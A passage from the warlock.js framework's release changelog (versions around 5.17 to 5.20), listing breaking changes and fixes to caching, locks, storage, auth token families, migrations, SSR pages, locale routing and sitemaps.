app.shutdownTimeout(default 10s) — an overall shutdown budget. HTTP stops accepting and drains first, then the other connectors stop in reverse priority; if the budget runs out, the hung connector is logged and the process exits with code 1. In shared mode, closing socket.io no longer closes the Fastify server. - Added
putFromPath(localPath, storagePath)on storage — uploads a local file by path. - Changed BREAKING:
put(string)now always stores the string as content. To upload a local file, useputFromPath(). - Changed BREAKING: multipart limit violations now respond
413. - Changed BREAKING:
hmacKeyis validated — a non-hex key throws instead of silently hashing with an empty key. Set a hexencryption.hmacKey. - Changed BREAKING:
DatabaseLogModelfields are nowmodule/action/content/stack/date; legacymessage/traceare still read. Update any code that queries the old fields directly. - Changed BREAKING: SMTP
securenow defaults from the port (465 → implicit TLS) when not set explicitly. - Changed BREAKING: the page cache keeps the request path's case, and the HTML variant is not cached under a CSP. Middleware (app, layout, page) now runs before a page-cache hit is served.
- Changed BREAKING:
list(request.all())honours only a whitelist of control keys, andexists()defaults to the primary key. Pass an explicit column if you relied on another one. - Changed BREAKING:
Restfulsaves validated data only — fields missing from the validation schema are dropped. Add them to the schema if they must be persisted. - Changed BREAKING: mail mode defaults to
"development"(log/preview, no real send) outside production, unlessmail.sendInDevelopment === trueorsetMailModewas called. - Changed BREAKING: unhandled request errors no longer print via
console.error; they reach configured logger channels only. Configure a channel to keep that visibility. - Changed Logger
enabled: false(top-level or per-environment) now silences the channel, and thetestenvironment block is honoured. - Changed
generate.modelmigration naming is corrected,--with-resourcealso creates the resource file, andgen.migrationrefuses to run when the target model file is missing. - Changed
warlock <cmd> -vreaches the command instead of printing the version;--helpalways rescans plugin and project commands. Resolved CLIoption.nameis always camelCase. - Changed
image.fromUrl()throwsStorageErrorfor private/reserved hosts, disallowed schemes and oversized (>50MiB) or slow (>30s) bodies. - Changed Routes with
rateLimit.errorMessagereturn that message on429. The upload default prefix format is nowDD-MM-YYYY-HH-mm-ss. - Changed
flushPendingCookiesthrows instead of silently dropping cookies when the parked-cookie symbol is missing. Laterbootstrap()calls no longer re-register the unhandled-rejection listener. - Changed Lockstep release maintenance and dependency refresh.
- Fixed The dev health checker now lints projects using
eslint.config.ts/.mts/.cts. - Fixed An explicit
HEADroute now takes precedence over Fastify's automatic HEAD registration for aGETroute at the same path. GET-only routes retain Fastify's implicit HEAD behavior.
- Added Migration locks: a migration run takes a lock for its whole duration (Postgres advisory lock
warlock:migrations; MongoDB lock document with a 10-minute TTL). A held lock is waited on for up to 60s, then the run throws naming the holder. - Changed BREAKING:
Model.delete()with no filter throws instead of deleting everything. Pass a filter. - Changed BREAKING: migrations run in authored order;
orderis the primary sort key, so a migration with a non-zeroorderchanges run/rollback order. Multi-batch rollback sorts batch DESC, thencreatedAtDESC, andexport .down.sqlorders newest-first.transactional: falseanddataSourceare now honoured. - Changed BREAKING: dry runs (
--sql,export-sql,runAll({ dryRun })) write nothing — noup()/down()side effects and no recording. - Changed BREAKING:
isDefaultapplies only to the first data source. - Changed BREAKING: model events are emitted under both the class name and the table name (
model.<table>.updated, ormodel.<dataSource>:<table>.updated). Listeners on either name work. - Changed BREAKING: a unique-constraint violation on insert/update (pg
23505, mongo11000) throwsDatabaseWriterValidationError(a field error) instead of a raw driver error. Theuniquerule excludes the model's own row on update. - Changed BREAKING:
unique/exists/databaseModels/embed rules with an unregistered string model name throw a descriptive error ("did you forget@RegisterModel()?").exists()defaults to the primary key, anduuidalways returns a string. - Changed BREAKING: sync runs after commit and logs failures as
sync.failed; multi-level sync (.maxDepth()) is removed. - Changed Mongo:
orderByRaw()/cursor()throw instead of being ignored,raw()throws a "SQL only" error,whereDate/whereBefore/whereAfteruse UTC day boundaries, and transaction callbacks may run more than once (retried on transient errors). - Changed
defineModelno longer overrides base-classstrictMode/autoGenerateIdunless supplied. Validation no longer callsconsole.trace. - Changed Lockstep release maintenance and dependency refresh.
- Fixed Postgres driver:
whereLikewith a RegExp (~*/!~*),count()/exists()honourhas/whereHas, joins andgroupBy/distinct, andwhereJsonContainsbinds a parameter. - Fixed Migrations:
.index()/.unique()/.vectorIndex()insideMigration.altermodifynow create the index, andrandomIncrementtakes effect. - Fixed Mongo: replica-set detection runs
helloonce per driver.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
- Changed Lockstep release maintenance and dependency refresh.
5.20.0 September 24, 2026
Cache compatibility changes require an upgrade review: cached() auto-keys, flat memory keys, finite ownership-safe locks, Redis FLUSHDB, tokenized stored lock values, and numeric TTL normalization all change observable behavior. @warlock.js/web adds generated named-route types and managed sitemap generations; Core, Cache, Cascade, Auth, Scheduler, and Socket.IO add safer multi-instance boundaries. Lockstep release across all 30 packages. Generator matrix ran subset scope (baseline, scheduler, postgres, redis, web, sitemap, socket rows); Hasan authorised it on 2026-09-24: "Go with rec, and tell me whether we should move the matrix run from my machine to Github instead and I report back with failures or keep it on my machine?".
Generator matrix: selected rows ran against the staged candidate — baseline, scheduler, postgres, redis, web, sitemap, socket.
- Added Atomic
increment/decrement,pullandupdate, with a per-driver guarantee: - Added Tag index primitives on the driver contract:
tagAdd,tagMembers,tagRemove. Redis uses a native SET inside the prefix (a legacy JSON index is upgraded on first touch), Postgres a one-statement JSON-array merge on the index row, and the in-memory drivers a separate store that eviction and expiry never touch.fileandnullkeep the serialized fallback.invalidate()deletes exactly the members it read, writes prune up to 20 dead members,remove()/pull()detach the key, and taggedincrement/pulluse the atomic ops. - Added
PgCacheDriver.prune(limit = 1000)deletes expired rows in batches and returns the count.set()also runs it in the background on about 1 in 200 writes, so unique-key workloads no longer grow the table forever. - Added
lock()successor-safe release (see Fixed). There is no renewal, so the TTL must exceed the worst-case duration of the locked work. - Fixed
lock()no longer deletes a successor's lock after its own TTL expired. Release is an ownership-checked compare-and-delete (atomic on the memory, Redis and Postgres drivers), so a slow holder can't free a lock that another caller has since acquired. - Fixed A failing lock release (for example a Redis blip) no longer replaces
fn's result or error. It is logged, so callers no longer retry a job that had already succeeded. - Fixed Two concurrent
lock()calls in one process could both acquire the lock on the memory, mock and file drivers.onConflict: "create"is now a synchronous check-and-insert on memory and an exclusive create on file. - Fixed Redis
flush()without a prefix no longer wipes every database on the server (queues, sessions, other apps). - Fixed Redis
removeNamespace("users")also deletedusers2.*andusersettings.*, and flushing tenantappalso deletedapp2.*andapple.*. It now matchesnsandns.*only, in batchedUNLINKcalls rather than one giantDEL. - Fixed Redis 5
scanIterator()batches keys per cursor response.removeNamespace()now flattens those batches before deleting them, while retaining compatibility with older clients that yield one key at a time. - Fixed Redis SWR metadata now lives inside the namespace, so
flush()clears it, and a plainsetclears it, so a stalestaleAtno longer poisons later reads. - Fixed A failed Redis
connect()is rethrown and can be retried; it used to be logged, swallowed and never retried. - Fixed
increment()/decrement()dropped the key's TTL on non-Redis drivers, so rate-limit counters could become permanent and block an IP forever. The remaining TTL is now kept. - Fixed
pull()could hand a one-time token to two concurrent requests, andupdate()lost increments across servers (the login throttle and AI budget counters were looser by N×). Both are atomic where the driver allows; see Added. - Fixed
remember()recomputed on every call for0,falseand"". Onlynullis a miss now. - Fixed
remember,swrandupdateshared one in-flight map:remember()could return an SWR refresh'sundefined, and aremember()could break anupdate()chain. Each now has its own map.swr()also single-flights a cold miss. - Fixed With the
nulldriver,remember("user.1")andremember("user.2")ran concurrently and returned user 1's data for user 2. The null driver keeps real keys now. - Fixed
cached().invalidate()ignoredconfig.driverand left stale data on the custom driver. Auto-keys no longer fold punctuation, soprofile("1.private", "")andprofile("1", "private"), or{ q: "x" }and("q", "x"), no longer share an entry (request-controlled args could reach another caller's cache entry). - Fixed Memory
maxSizecounted top-level namespaces, so dotted keys cascaded evictions that wiped the whole cache, and with aglobalPrefixit never evicted at all. It counts entries now, in LRU order. - Fixed The memory sweep scanned every key every second, and a stale timer record could delete a newer permanent value. Only finite-TTL entries are swept.
- Fixed The memory, LRU and mock drivers stored objects by reference, so a caller mutating a value corrupted the cache. Values are cloned on write.
- Fixed
memoryExtendedslidexpiresAtbefore checking expiry, so expired entries came back and failedlock()attempts extended the holder's lock forever. Expiry is checked first. - Fixed File driver: writes are atomic (temp file + rename), and a corrupt or half-written file is a miss instead of deleting the key directory (a reader used to delete the entry being written). An empty key is rejected; it used to resolve to the cache root, so
remove()wiped the whole cache directory. - Fixed
cache.list().trim(start, -1)emptied the list, sotrim(-50, -1)("keep the last 50") deleted everything.trimis LTRIM-inclusive now, and list operations keep the key's TTL. - Fixed
ScopedCache.update()/merge()reset a session's remaining TTL on every call. They keep it. - Fixed Concurrent first use of a driver created duplicate clients and leaked sockets. The manager runs a single in-flight load per driver, and
disconnect()closes every loaded driver, not only the current one (shutdown used to hang or leak). - Fixed Postgres set
expires_atfrom the app clock but compared against the DBnow(), so clock skew shifted TTLs and locks could be born expired. Expiry is computed on the DB clock. - Fixed Lazy expiry deleted
prefix.prefix.keywhen aglobalPrefixwas set, so expired entries lingered. It re-parsed the key and didn't await the delete. - Fixed Concurrent tagged writes dropped keys from the tag index, so
tags().invalidate()left stale entries, and the index grew forever. The index is now a set primitive that is never lost and is pruned, and LRU capacity or memorymaxSizecan no longer evict it.
- Added Development and production publish generated page and named-API route declarations to
.warlock/typings/web-routes.d.ts.href,Link, client navigation, anduseSubmitFormuse those declarations when present while retaining runtime validation before they have been generated. - Added Public
PageLoaderContext,LayoutLoaderContext,AppLoaderContext, andWebConfigurationstype exports. - Added Managed sitemaps: durable generation manifests, optional shared storage, model-driven invalidation after a Cascade transaction commits, conditional HTTP responses, and immutable generation shard URLs. Requests serve the last published generation and never generate an XML document themselves.
- Changed Refined grouped skill discovery guidance for routes, loaders, form submission, and sitemap generation.
- Added
SitemapEntry.imagesemits the Google image sitemap extension, validates absolute HTTP(S) image URLs, and limits each URL to 1,000 images with a caller-visible diagnostic. - Added
SitemapIndexOptions.shardPathPrefixcontrols public shard links in an index without changing the files written bysaveTo(). - Changed Refined grouped skill discovery guidance and regenerated package llms projections.
- Added Production build contributions receive a fresh registration-only
ConnectorBuildContext.namedApiRoutessnapshot when Web is configured. It contains only named APIname,path, andmethodrecords, never handlers, middleware, schemas, or source paths. - Added
storage.putIfAbsent(file, location, options?)andstorage.supportsPutIfAbsent()— an atomic create-only write. Returns theStorageFile, ornullwhen something already exists atlocation. Unlikeput, a string argument is content, not a path. Local driver writes a temp file then hard-links it; S3/R2 sendIf-None-Match: *. DigitalOcean Spaces does not expose it. Drivers without it throwStorageCapabilityError. - Added
http.rateLimitnow passes@fastify/rate-limitoptions through (redisfor a store shared across servers,nameSpace,keyGenerator,allowList, ...).http.rateLimit.enabled: falseturns the global limiter off. The per-routemiddleware.rateLimit()stays in-process. - Added
socket.adapter— an adapter factory (e.g.@socket.io/redis-adapter) applied viaio.adapter()for broadcasting across servers. Polling clients need sticky sessions. - Added Production single-server warnings, once at boot, when the default cache driver is in-memory, the default storage driver is local, or sockets have no
socket.adapter. Silence withcache.silenceSingleServerWarning,storage.silenceSingleServerWarning,socket.silenceSingleServerWarning. - Added
middleware.idempotency({ reservationTtl })(alsohttp.idempotency.reservationTtl, default60seconds) — how long the in-flight reservation lives. - Added Docs: "Running on multiple servers" guide.
- Changed Refined connector build guidance and grouped skill discovery.
- Changed
middleware.idempotency()reserves the key (create-only) before the handler runs. A concurrent duplicate now gets 409 +Retry-Afterinstead of running twice. A 5xx response frees the key so the client can retry. If the cache is down the middleware fails open. - Fixed The repository cache is also cleared after the DB transaction commits (cascade
afterCommit), fixing stale reads when a concurrent read re-cached the old row between the model event andCOMMIT.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Web starter loaders use named functions and public loader-context types while retaining inferred return types in paired setup modules.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed
loginThrottleMiddlewarenow counts failures with an atomiccache.increment. The first failure opens the window with a create-onlycache.setcarrying the TTL, so counts are exact across servers on the redis/pg cache drivers (concurrent failures are no longer lost to a read-modify-write). Thresholds, window and lockout behaviour are unchanged. The memory cache driver is per-process, so counts there are per-process too.
- Added
afterCommit(fn)— run a side effect only once the transaction has committed. Inside a transaction,fnis queued and runs after the outermost COMMIT (in order, awaited one by one); it is discarded on rollback or a failed COMMIT. Outside a transaction, it runs on the next microtask. Errors are logged and never change the transaction result. Use it in model event listeners (saved,created, ...) for cache clears, sitemap regeneration and emails.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
- Added
job.onOneServer({ lockTtl?, key? })— run each tick on exactly one server. Every server races for a create-only, TTL-bounded cache claim keyedscheduler.<key ?? name>.<scheduledTickEpochMs>. The claim is never released, so exactly one server runs each tick even if another server's timer fires late. Losers skip the tick and emitjob:skip. Requires a shared cache driver (redis/pg) and a job name orkey.@warlock.js/cacheis an optional peer dependency. Default claim TTL ismin(interval, 1h)with a 60s floor (1h for cron jobs).
- Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
5.19.1 September 24, 2026
@warlock.js/web fixes paired setup-module register projection in development SSR while preserving server-only setup exports. create-warlock now prompts API and full-stack presets for a database choice and supports an explicit AI opt-out. Lockstep release across all 30 packages. Generator matrix scope: none.
Generator matrix: not run for this release.
- Fixed Development SSR retains the framework-projected
register()hook for a paired setup module when the UI references its loader only withimport type, without exposing server-only setup exports or requiring a UI value import.
- Changed The default interactive scaffold flow now asks for a database after the API-only/full-stack choice unless
--dbor--no-dbalready answered it; the same selector includes None for a database-free app. Customize's AI multiselect now offers None last, treats it alone like an empty selection, and asks again when it is combined with an AI provider or capability.
- Changed Lockstep patch release aligning
@warlock.js/corewith the 5.19.1 family; no Core runtime API change.
- Fixed Corrected the Cascade and Core links in the overview skill.
5.19.0 September 23, 2026
@warlock.js/auth makes refresh/logout token families durable across concurrent requests; @warlock.js/web adds optional paired setup modules and useSubmitForm() for named API routes. Core exposes named API metadata, skills document the new supported flows, and Create Warlock approves only the selected image feature's Sharp native build while reporting JWT generation skipped after a failed install. Lockstep release across all 30 packages. Generator matrix scope: none.
Generator matrix: not run for this release.
- Added
authMiddleware()now usesauth.defaultUserType(or the sole configured user type), and the object overload accepts{ source, key, optional, refresh, redirect }. A page-localredirectchanges only page-route authentication failures; APIs retain401. LegacyauthMiddleware(userType, "header" | "cookie:name")calls remain supported. - Added Durable token families: token pairs associate access and refresh rows with
AuthTokenFamily; family revoke atomically stamps the family, revokes its refresh rows, and removes its associated access rows. During the additive upgrade, unassociated legacy access rows are revoked conservatively only for the same user and type. RegisterauthMigrationsand run pending migrations. - Added Automatic cookie renewal is opt-in through the middleware
refreshdescriptor. The finalized coordinator permits only an exact, immediately active successor pair during a bounded duplicate window (default five seconds; configurable from zero through ten seconds). It does not broaden legacyauthService.refreshTokensreplay behavior. A duplicate within that window is tolerated deliberately; after it, old-token reuse remains a replay and revokes the family. Family logout makes late cookies unusable. This does not claim to solve arbitrary out-of-order HTTP cookie delivery. - Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Fixed Refresh attempts emit token notifications after their owned transaction commits, discarding notifications from rolled-back retries.
- Fixed Issuing into an explicitly reused token family now shares its durable revocation boundary, preventing credentials from being written after concurrent logout.
- Added Optional paired
*.setup.tsmodules for pages, layouts, root, and the error boundary. Server setup composes with the UI component, projects saferegister()behavior to both runtimes, preserves type-only loader inference, rejects duplicate exports, and is watched during development. - Added
useSubmitFormfrom the optional@warlock.js/web/formentry submits an existing@mongez/react-formthrough the configured HTTP singleton or an injected client. It resolves named API route metadata before hydration, supports direct paths, FormData, cancellation, lifecycle callbacks, and validation-error mapping without exposing server handlers or policy. - Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Added
router.getNamedApiRoutes()returns fresh frozen browser-safe snapshots of registered named API routes (name,path,method). It excludes pages, handlers, middleware, schemas, and source paths;allremains visible as metadata so a browser consumer can require an explicit request method. - Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed The default Web starter now keeps root, page, and not-found server exports in paired
*.setup.tsmodules. Components remain presentation-only and import the home loader type-only, while the setup module retains the universal localizationregister()projection. - Changed PNPM image scaffolds approve only Sharp's required native build in the generated
pnpm-workspace.yamlbefore installing the selected feature. An existing explicit denial is preserved. If selected feature dependencies fail to install, JWT generation is reported as skipped instead of retrying through the package manager.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
- Changed Refined package skill-discovery descriptions and regenerated the llms projections.
5.18.0 September 23, 2026
@warlock.js/web adds shared root/layout/page metadata with consistent SSR and client-navigation titles, plus useIsNavigating() for router-owned pending state. Development SSR reuses Core-owned models and their reload/removal notifications; initial sitemap generation now waits for database initialization so warlock doctor remains registration-only. Lockstep release across all 30 packages. Generator matrix scope: none; required release checks completed.
Generator matrix: not run for this release.
- Added Pages, layouts, and
root.tsxnow share typed static or server-only callback metadata. Titles accept a string,{ default?, template? }, or{ absolute }; resolution produces the same string title for SSR and client navigation while composing metadata from page through layouts to root. - Added
useIsNavigating()exposes router-owned pending state for client navigation, refreshes, and locale changes. It is safe during SSR and replaces event-based guesses for reactive loading indicators. - Fixed Development SSR reuses models already loaded by Core, including their named and default exports. Core reload and removal notifications invalidate the corresponding SSR modules while client import checks remain in place.
- Fixed Initial sitemap generation now runs during connector startup, after database initialization. Registration-only commands such as
warlock doctorregister sitemap routes without invoking suppliers that require a database connection.
- Fixed Development model loading now shares model ownership and reload notifications with Web's SSR adapter, allowing pages to reuse the same model constructors as Core instead of registering a second copy.
5.17.1 September 22, 2026
@warlock.js/core now completes initial typings generation before background health checking and preserves configured declaration roots; @warlock.js/web fixes development page projection with binding-aware import liveness. Public APIs are unchanged. Lockstep release across all 30 packages. Generator matrix scope: none; additional release tests were waived by the owner.
Generator matrix: not run for this release.
- Fixed
@warlock.js/webfixes page projection to resolve import references by lexical binding after server configuration is removed. A component-localt = useTrans()no longer retains an unrelated metadata-only Core import in the client view. - Fixed Development startup now completes initial typings generation before it starts health checking, so the checker receives the generated declaration roots. Health checking remains background work and does not delay connector readiness.
- Fixed The health checker preserves declaration roots already included by the project's tsconfig.
- Fixed Page projection now resolves import references by lexical binding after removing server configuration. A component-local variable such as
const t = useTrans()no longer keeps an unrelated metadata-only Core import in the client view and causes development rendering to fail; genuine runtime references remain intact.
5.17.0 September 22, 2026
@warlock.js/web moves page, layout, and root server policy into one direct config export (BREAKING): PageConfig, LayoutConfig, and RootConfig keep route/cache/prefix/strict-mode policy together while loaders, registration, named error boundaries, and components remain separate. Web adds route-scoped locales.json translations, typed keys, useChangeLocaleCode(), and locale-aware navigation, sitemap, and robots behavior; new scaffolds enable root strictMode. @warlock.js/core and Web require @mongez/localization 3.5.0 for scoped translation lookup. Lockstep release across all 30 packages. Generator matrix ran subset scope (web, sitemap rows); Hasan authorised the release on 2026-09-21: "Go with your rec".
Generator matrix: selected rows ran against the staged candidate — web, sitemap.
- Fixed Locale switches under the default URL strategy use a provisional data request: a failed or superseded navigation cannot persist its locale, including on page-cache hits. The successful current navigation commits a host-only locale preference with its tree. Invalid preferences fall through to the legacy locale cookie and normal locale resolution; an explicit
response.setLocale()clears the preference before setting its authoritative cookie. - Fixed Page-cache keys include the route translation snapshot revision. If a request's final locale snapshot differs from the one used for lookup, the response is not stored under the earlier key.
- Fixed A client disconnecting mid-stream no longer logs an SSR render error or reaches
web.errors.report(). The stream now aborts with a recognisable reason instead of none, so it stops being mistaken for a genuine render failure. - Fixed
changeLocaleCode()now correctsdocument.documentElement'slang/diritself, synchronously, before its returned promise resolves — under an activeweb.localeRouting.strategy(thepushStatepath) as well as the?locale=path. Before, onlyNavigationRoot's own effect did this correction, on React's next commit, which runs afterchangeLocaleCode()had already resolved; a caller readingdocument.documentElementright afterawait changeLocaleCode("ar")could still see the stale locale'slang/dir. - Fixed
robots.txtnow covers every locale-prefixed URL under an activeweb.localeRouting.strategy. Before, a rule such asDisallow: /adminleft/ar/admincrawlable, because only the bare path was written. Everyallow/disallowrule that starts with/— other than bare/, and never a rule containing*or$— now also emits its prefixed variant for each prefixed locale code, deduped, next to the original. Strategy"none"(the default) is unchanged. - Fixed The
pageAuthlogin redirect now carries the request's locale prefix under an activeweb.localeRouting.strategy. Before, an anonymous request to/ar/adminredirected to/login?returnUrl=%2Far%2Fadmin—returnUrlcorrectly pointed back at the locale-prefixed page, but the login screen itself dropped the locale. It now redirects to/ar/login?returnUrl=%2Far%2Fadmin. Left unchanged whenauth.pageAuth.loginPathis absolute or already locale-prefixed. (@warlock.js/auth; see its own changelog.) - Fixed Page-cache invalidation now always reaches the stored pages. Entries and their tag index used to go through your app's cache
globalPrefix. Apps that derived it from the request (the scaffold usedOrigin) stored pages on GET under one prefix and invalidated them on POST under another, so nothing was evicted. The page cache now uses its ownwarlock.page.<deployment>namespace, with the Host still part of every key. Invalidation from a background job, with no request, works too. - Fixed A page loader that returns
notFound()now renders your404.page.tsx, with status 404 and noindex, instead of an empty body. Client navigation to such a URL gets the same page. - Fixed A page or layout middleware that already sent its reply (a redirect,
pageAuth,forbidden()) is no longer sent a second time. Before, every guarded redirect logged a false "already-sent" error. - Fixed
changeLocaleCode()and client navigation install the translations that come with the page data. Before, any translation group registered only on the server (every app's auth and validation messages) made the switch abort in development and render raw keys in production. - Fixed
@warlock.js/web/sitemap: corrected the 5.16.0 entry below —warlock buildnever generates the sitemap. Whenweb.sitemapis enabled, generation happens at runtime boot (web.sitemap.regenerate.onBoot) or when the app callsregenerateSitemap(), never at build time. - Fixed A detected crawler's inlined deferred value reached
use()as a raw value instead of a promise, so every page reading it threw "An unsupported type was passed to use()" and crawlers got skeletons instead of content. Inline mode now passes an already-fulfilled thenable thatuse()reads synchronously; the key still stays in the hydration payload with its__WARLOCK_DEFER__settlement chunk for JS-capable crawlers. The data-request wire is unaffected. Corrected the 5.12.0web.streaming.crawlersentry below, which claimed crawlers get the resolved document _instead of_ deferred chunks — the settlement scripts are retained for JS hydration; only non-JS indexing needs nothing beyond the inlined HTML. - Fixed Crawler documents no longer carry a pending Suspense boundary for deferred sections far down a long page. React outlines a completed boundary (fallback in the HTML, content in a hidden segment swapped in by script) once the page passes about 12.8 KB. Renders that wait for everything to be ready now inline every completed boundary, so non-JS indexers see the content.
- Fixed Authenticated requests never get a public
Cache-Control. A request that used authenticated state (including throughauthMiddlewareon a page or layout) is sentprivate, no-store, even on a route that opted intoconfig.cache.public. - Fixed In production, the
:valueplaceholder in a page-validation issue message now renders…instead of the submitted value, in your translations and in authorerrorMessagetemplates alike. Before, a translation such as the starter'senummessage ("given value :value") put the raw query or param value into the error page and the hydration payload. A custom rule that concatenates raw input into its own message text, without:value, is not covered and stays your responsibility. - Fixed In production, the sitemap is built from the page manifest. Before, a production build could generate it without the pages' own
sitemapexports. - Fixed A page's
sitemapexport is stripped from the client bundle in every named-export form, including re-exports (export { x as sitemap } from "…",export { sitemap } from "…"). A bareexport * fromin a page module is refused with a clear error, because its export set can't be checked. - Fixed Page
validationmay declare onlyparamsor onlyquery. Before, a page that declared one of them failed every request withunknownKeys. Validation now also runs after the app and layout loaders and before the page loader. A layout redirect still wins, and a validation 400 renders your error page inside layouts that received their data. - Fixed In production, a page validation 400 gives
error.page.tsxa clear message anderror.errorsas{ input, type, error }entries. In production, the:valueplaceholder in page-validation messages renders…instead of the submitted value. A custom rule or translation that builds its message from raw input without:valueisn't covered, so keep submitted values out of custom message text. Other unexpected errors keep the generic message anderrorCode. - Fixed Locale URL routing (
web.localeRouting.strategy) now actually reaches the browser in a production build. Before, the browser only ever learned the routing strategy fromvirtual:warlock/pages, resolved at BUILD time — wrong whenever the app config wasn't loaded at build time, or differs per environment — so a production bundle could hydrate with{ strategy: "none" }while the server was actively locale-routing, silently disabling<Link>prefixing andchangeLocaleCode(). The server document now carries the runtime routing table it actually resolved, as a<meta name="warlock-locale-routing">tag rendered by<Head/>; the hydration entry reads it before mount and falls back to the build-time value only when the meta is absent or malformed. - Fixed A client (link-click) navigation to a
cache: { serverCache: true }route whose loader callsdefer()no longer throws "An unsupported type was passed to use()" (minified React error #438), with the page's deferred sections (e.g. "Read next", comments) never rendering. AserverCacheroute's JSON data representation never streams — the deferred value is awaited and put on the wire already resolved — but the page component still reads it withuse(), unconditionally. The wire now keeps marking that keydeferredeven though its value is inlined, on both the MISS that stores the entry and every HIT that replays it, and the client wraps the resolved value in an already-fulfilled thenable before handing it to the page — the same tracked shapeuse()reads synchronously that the crawler inline-mode fix (above) introduced for the document. The NDJSON streaming representation is unchanged. - Fixed The client-side scroll-position map (and its
sessionStoragemirror) no longer grows without bound for the life of a tab. Both are now capped at 50 entries with LRU eviction — a save or a restore touches an entry, making it most-recently-used — so a long-lived SPA session (a dashboard or admin tool left open across many client navigations over hours/days) can no longer grow the map, or the JSON blob re-serialized tosessionStorageon every navigation, without limit. An old, uncappedsessionStoragevalue still reads back fine and is trimmed down to the cap on the next save. - Fixed A core
@warlock.js/coreHttpError(ResourceNotFoundError,ForbiddenError,BadRequestError,ConflictError, …) thrown in a loader now resolves to its own status instead of a generic 500: a resolved 404 renders your404.page.tsxexactly like a loader's ownnotFound(), and any other 4xx renderserror.page.tsxwith that status and its real message, without reachingweb.errors.report(). A resolved 5xx still gets the generic production message and is still reported. - Fixed
invalidatePageCache()inwarlock devnow actually evicts the page it targets. In dev,@warlock.js/webloads as two separate module graphs — tsx/Node for HTTP routes and installers, Vite's SSR module runner for the page/layout render path — each with its own module registry, so the page cache's memoized driver instance used to be two different in-memory stores: a route'sinvalidatePageCache(["post:1"])evicted the tsx graph's store while the renderer kept reading its own, still-populated one, and the page stayed a HIT until itsttl/maxAgeexpired. The resolved store/driver instance, and the memoized@warlock.js/cacheimport and its one-time in-process-driver warning, now live on aSymbol.for("warlock.web.pageCache...")globalThisslot, the same patternroute-table.tsalready uses forhref(), so every graph resolves the SAME instance. Production, which runs one module graph, is unaffected. - Security The server-side page cache's pre-lookup bypass previously only recognized an
